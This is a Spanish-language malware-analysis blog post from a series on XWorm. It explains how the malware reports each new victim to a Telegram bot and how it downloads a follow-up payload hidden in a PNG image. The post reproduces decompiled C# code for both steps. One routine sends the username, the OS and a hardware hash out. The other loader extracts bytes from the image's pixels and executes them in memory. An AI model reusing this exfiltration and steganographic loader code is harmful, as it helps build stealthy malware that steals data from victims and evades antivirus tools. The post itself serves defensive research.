This article is also available in english

  1. Introducción
  2. Exploración inicial y técnicas anti-análisis
  3. Evasión de defensas y persistencia
  4. Movimiento lateral
  5. Keylogger y captura de criptomonedas
  6. Comunicación con Telegram y obtención de nueva variante
  7. Próximamente: Comando y Control

Si quieres enterarte cuando se publiquen los nuevos posts de esta serie, no olvides suscribirte al blog!

1. Introducción

En el artículo anterior vimos cómo XWorm intercepta y roba criptomonedas, así como cómo captura lo que su víctima está escribiendo; en este artículo analizaremos cómo XWorm le avisa a sus creadores que ha infectado a una nueva víctima, y cómo se actualiza de ser necesario.

2. Comunicación con Telegram

El código que utiliza XWorm para reportarse es simple de comprender:

using (WebClient webClient = new WebClient())
{
	string newLine = Environment.NewLine;
	string text = string.Concat(new string[]
	{
		"☠ [WizWorm]",
		newLine,
		newLine,
		"New Clinet : ",
		newLine,
		TFIW2FSLtw9S.FJMqXu7uvzCu(),
		newLine,
		newLine,
		"UserName : ",
		Environment.UserName,
		newLine,
		"OSFullName : ",
		2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Info.OSFullName
	});
	webClient.DownloadString(string.Concat(new string[]
	{
		"https://api.telegram.org/bot",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.nnOZhYK0wjpot1RoNGOJ1bkjxjVdRCDD7uXeR,
		"/sendMessage?chat_id=",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.LFycjzFw0leIPcKun6Ib6Mf8btUoQQknVTabA,
		"&text=",
		text
	}));
}

Con dar una mirada rápida al código, vemos que se envía el usuario que está ejecutando el malware (la víctima), así como el sistema operativo; también vemos el texto ☠ [WizWorm], que nos permite identificar al malware.

El malware invoca a la función FJMqXu7uvzCu, la cual genera un identificador único con información de la máquina de la víctima:

public static string FJMqXu7uvzCu()
{
	string text;
	try
	{
		text = TFIW2FSLtw9S.zH5IMQfj0k7d(string.Concat(new object[]
		{
			Environment.ProcessorCount,
			Environment.UserName,
			Environment.MachineName,
			Environment.OSVersion,
			new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize
		}));
	}
	catch (Exception ex)
	{
		text = "Err HWID";
	}
	return text;
}

La función zH5IMQfj0k7d genera un hash MD5 de los valores obtenidos (número de nucleos de procesador, usuario, hostname del equipo, versión de SO y tamaño de disco duro), los concatena luego de convertirlos a hexadecimal, y obtiene los 20 primeros dígitos de la cadena resultante.

XWorm utiliza el API de Telegram para enviar los datos de la víctima a un grupo:

https://api.telegram.org/bot572051XXXX:AAF4KOAv3GXHFU0RS3g4XXXXXXXXXXXX__A/sendMessage?chat_id=-1001540XXXXXX&text=INFORMACIONUSUARIO

3. Obtención de nueva variante

Luego de reportarse mediante Telegram, XWorm inicia un nuevo hilo que descarga una imagen, la procesa y ejecuta el resultado:

public static void u4JX9v7FvmTG()
{
	Thread.Sleep(5000);
	try
	{
		ServicePointManager.Expect100Continue = true;
		ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
		ServicePointManager.DefaultConnectionLimit = 9999;
	}
	try
	{
		WebClient webClient = new WebClient();
		Bitmap bitmap = (Bitmap)Image.FromStream(webClient.OpenRead("https://i.ibb.co/DwrXXXX/Image.png"));
		List<byte> list = new List<byte>();
		object obj;
		object obj2;
		if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, checked(bitmap.Width - 1), 1, ref obj2, ref obj))
		{
			do
			{
				list.Add(bitmap.GetPixel(Conversions.ToInteger(obj), 0).R);
			}
			while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, obj2, ref obj));
		}
		AppDomain.CurrentDomain.Load(list.ToArray()).EntryPoint.Invoke(null, null);
	}
	catch (Exception ex2)
	{
		Thread.Sleep(2000);
	}
}

Si descargamos la imagen, es una imagen normal, y no es catalogada como maliciosa por Windows Defender. XWorm utiliza una técnica conocida como esteganografía, mediante la cual se oculta información dentro de archivos como imágenes, videos o textos.

Al analizar el código, vemos que itera por cada pixel de la imagen, extrae el componente rojo, y lo añade a una lista. Luego, utiliza el método AppDomain.Load para cargar la lista como un bloque de código, obtener el inicio del código mediante la propiedad Assembly.EntryPoint y finalmente, ejecuta el código mediante el método Invoke.

En la siguiente imagen podemos identificar los bytes 4D y 5A - MZ, característicos de programas .EXE:

alt text

Análisis

Evaluando las capacidades de XWorm, resulta curioso que primero ejecute actividades maliciosas como la captura de criptomonedas y configuración de un keylogger antes de reportarse a su atacante; esto probablemente es porque dichas actividades puede que ocasionen que el malware sea eliminado y prefirieron esperar a tener la certeza que dichas acciones no fueron bloqueadas antes de notificar que una nueva víctima ha sido comprometida.

XWorm sigue demostrando la creatividad de sus creadores al utilizar esteganografía para ocultar nuevas variantes de si mismo; la imagen que XWorm descarga es una imagen normal (no un .exe renombrado a .png), por lo que por si sola no puede ser ejecutada. Windows Defender o alguna herramienta que analice el tráfico de red vería la imagen, que sigue la especificación de PNG, y no generaría alguna alerta. Este tipo de técnica no usualmente utilizada es lo que hace curioso a XWorm (similar a la infección de nuevos dispositivos mediante USBs).

Próximos pasos

En el siguiente artículo finalizaremos el análisis de XWorm al desentrañar sus capacidades de Comando y Control.


¿Tienes algún comentario o sugerencia?